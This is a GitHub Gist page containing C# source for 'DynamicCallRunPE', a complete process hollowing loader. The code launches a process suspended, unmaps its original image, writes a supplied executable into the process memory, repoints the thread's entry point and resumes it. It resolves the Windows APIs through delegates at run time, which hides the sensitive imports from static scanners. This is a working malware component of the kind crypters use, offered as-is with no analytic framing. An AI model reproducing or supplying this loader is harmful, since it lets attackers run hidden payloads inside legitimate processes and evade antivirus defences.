-
-
Save xHeaven/a4b6f719ce540acf0abfc1bda6d4fa78 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Runtime.InteropServices; | |
public static class DynamicCallRunPE | |
{ | |
private delegate bool CreateProcess_Delegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, IntPtr startupInfo, IntPtr processInformation); | |
private delegate bool ThreadContext_Delegate(IntPtr thread, int[] context); | |
private delegate bool ProcessMemoryIntPtr_Delegate(IntPtr process, int baseAddress, IntPtr buffer, int bufferSize, int bytesRead); | |
private delegate bool ProcessMemoryByte_Delegate(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, int bytesRead); | |
private delegate int NtUnmapViewOfSection_Delegate(IntPtr process, int baseAddress); | |
private delegate int VirtualAllocEx_Delegate(IntPtr handle, int address, int length, int type, int protect); | |
private delegate int ResumeThread_Delegate(IntPtr handle); | |
private static Dictionary<string, Delegate> Methods = new Dictionary<string, Delegate>(); | |
public static bool Run(string path, string cmd, byte[] data, bool compatible) | |
{ | |
const int functions = 8; | |
string QuotedPath = string.Format("\"{0}\"", path); | |
if (!string.IsNullOrEmpty(cmd)) | |
{ | |
QuotedPath = QuotedPath + " " + cmd; | |
} | |
Dictionary<string, IntPtr> LibraryHandles = new Dictionary<string, IntPtr>(functions); | |
IntPtr intBuffer = Marshal.AllocHGlobal(4); | |
foreach (string s in new string[] { "kernel32.dll", "ntdll.dll" }) | |
LibraryHandles.Add(s, LoadLibrary(s)); | |
object[,] FuncAddresses = new object[functions, 3] | |
{ | |
{"CreateProcessA", "kernel32.dll", typeof(CreateProcess_Delegate)}, | |
{"GetThreadContext", "kernel32.dll", typeof(ThreadContext_Delegate)}, | |
{"SetThreadContext", "kernel32.dll", typeof(ThreadContext_Delegate)}, | |
{"ReadProcessMemory", "kernel32.dll", typeof(ProcessMemoryIntPtr_Delegate)}, | |
{"WriteProcessMemory", "kernel32.dll", typeof(ProcessMemoryByte_Delegate)}, | |
{"NtUnmapViewOfSection", "ntdll.dll", typeof(NtUnmapViewOfSection_Delegate)}, | |
{"VirtualAllocEx", "kernel32.dll", typeof(VirtualAllocEx_Delegate)}, | |
{"ResumeThread", "kernel32.dll", typeof(ResumeThread_Delegate)}, | |
}; | |
for (int i = 0; i < functions; i++) | |
{ | |
IntPtr procAddress = GetProcAddress(LibraryHandles[(string)FuncAddresses[i, 1]], (string)FuncAddresses[i, 0]); | |
Delegate d = Marshal.GetDelegateForFunctionPointer(procAddress, (Type)FuncAddresses[i, 2]); | |
Methods.Add((string)FuncAddresses[i, 0], d); | |
} | |
try | |
{ | |
STARTUP_INFORMATION SI = new STARTUP_INFORMATION(); | |
PROCESS_INFORMATION PI = new PROCESS_INFORMATION(); | |
IntPtr SI_PTR = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(STARTUP_INFORMATION))); | |
IntPtr PI_PTR = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESS_INFORMATION))); | |
Marshal.WriteInt32(SI_PTR, Marshal.SizeOf(typeof(STARTUP_INFORMATION))); | |
if (!(bool)Methods["CreateProcessA"].DynamicInvoke(path, QuotedPath, IntPtr.Zero, IntPtr.Zero, false, (uint)4, IntPtr.Zero, null, SI_PTR, PI_PTR)) | |
throw new Exception(); | |
SI = (STARTUP_INFORMATION)Marshal.PtrToStructure(SI_PTR, typeof(STARTUP_INFORMATION)); | |
PI = (PROCESS_INFORMATION)Marshal.PtrToStructure(PI_PTR, typeof(PROCESS_INFORMATION)); | |
Marshal.FreeHGlobal(SI_PTR); | |
Marshal.FreeHGlobal(PI_PTR); | |
int FileAddress = BitConverter.ToInt32(data, 60); | |
int ImageBase = BitConverter.ToInt32(data, FileAddress + 52); | |
int[] Context = new int[179]; | |
Context[0] = 65538; | |
if (!(bool)Methods["GetThreadContext"].DynamicInvoke(PI.ThreadHandle, Context)) | |
throw new Exception(); | |
int Ebx = Context[41]; | |
int BaseAddress = 0; | |
if (!(bool)Methods["ReadProcessMemory"].DynamicInvoke(PI.ProcessHandle, Ebx + 8, intBuffer, 4, 0)) | |
throw new Exception(); | |
BaseAddress = Marshal.ReadInt32(intBuffer); | |
if (ImageBase == BaseAddress) | |
{ | |
if (!((int)Methods["NtUnmapViewOfSection"].DynamicInvoke(PI.ProcessHandle, BaseAddress) == 0)) | |
throw new Exception(); | |
} | |
int SizeOfImage = BitConverter.ToInt32(data, FileAddress + 80); | |
int SizeOfHeaders = BitConverter.ToInt32(data, FileAddress + 84); | |
bool AllowOverride = false; | |
int NewImageBase = (int)Methods["VirtualAllocEx"].DynamicInvoke(PI.ProcessHandle, ImageBase, SizeOfImage, 12288, 64); | |
if (!compatible && NewImageBase == 0) | |
{ | |
AllowOverride = true; | |
NewImageBase = (int)Methods["VirtualAllocEx"].DynamicInvoke(PI.ProcessHandle, 0, SizeOfImage, 12288, 64); | |
} | |
if (NewImageBase == 0) | |
throw new Exception(); | |
if (!(bool)Methods["WriteProcessMemory"].DynamicInvoke(PI.ProcessHandle, NewImageBase, data, SizeOfHeaders, 0)) | |
throw new Exception(); | |
int SectionOffset = FileAddress + 248; | |
short NumberOfSections = BitConverter.ToInt16(data, FileAddress + 6); | |
for (int I = 0; I <= NumberOfSections - 1; I++) | |
{ | |
int VirtualAddress = BitConverter.ToInt32(data, SectionOffset + 12); | |
int SizeOfRawData = BitConverter.ToInt32(data, SectionOffset + 16); | |
int PointerToRawData = BitConverter.ToInt32(data, SectionOffset + 20); | |
if (!(SizeOfRawData == 0)) | |
{ | |
byte[] SectionData = new byte[SizeOfRawData]; | |
Buffer.BlockCopy(data, PointerToRawData, SectionData, 0, SectionData.Length); | |
if (!(bool)Methods["WriteProcessMemory"].DynamicInvoke(PI.ProcessHandle, NewImageBase + VirtualAddress, SectionData, SectionData.Length, 0)) | |
throw new Exception(); | |
} | |
SectionOffset += 40; | |
} | |
byte[] PointerData = BitConverter.GetBytes(NewImageBase); | |
if (!(bool)Methods["WriteProcessMemory"].DynamicInvoke(PI.ProcessHandle, Ebx + 8, PointerData, 4, 0)) | |
throw new Exception(); | |
int AddressOfEntryPoint = BitConverter.ToInt32(data, FileAddress + 40); | |
if (AllowOverride) | |
NewImageBase = ImageBase; | |
Context[44] = NewImageBase + AddressOfEntryPoint; | |
if (!(bool)Methods["SetThreadContext"].DynamicInvoke(PI.ThreadHandle, Context)) | |
throw new Exception(); | |
if ((int)Methods["ResumeThread"].DynamicInvoke(PI.ThreadHandle) == -1) | |
throw new Exception(); | |
return true; | |
} | |
catch (Exception) | |
{ | |
return false; | |
} | |
} | |
[StructLayout(LayoutKind.Sequential, Pack = 1)] | |
private struct PROCESS_INFORMATION | |
{ | |
public IntPtr ProcessHandle; | |
public IntPtr ThreadHandle; | |
public uint ProcessId; | |
public uint ThreadId; | |
} | |
[StructLayout(LayoutKind.Sequential, Pack = 1)] | |
private struct STARTUP_INFORMATION | |
{ | |
public uint Size; | |
public string Reserved1; | |
public string Desktop; | |
public string Title; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)] | |
public byte[] Misc; | |
public IntPtr Reserved2; | |
public IntPtr StdInput; | |
public IntPtr StdOutput; | |
public IntPtr StdError; | |
} | |
[DllImport("kernel32.dll", SetLastError = true)] | |
private static extern IntPtr GetProcAddress(IntPtr mHandle, string fname); | |
[DllImport("kernel32", SetLastError = true)] | |
static extern IntPtr LoadLibrary(string lpFileName); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment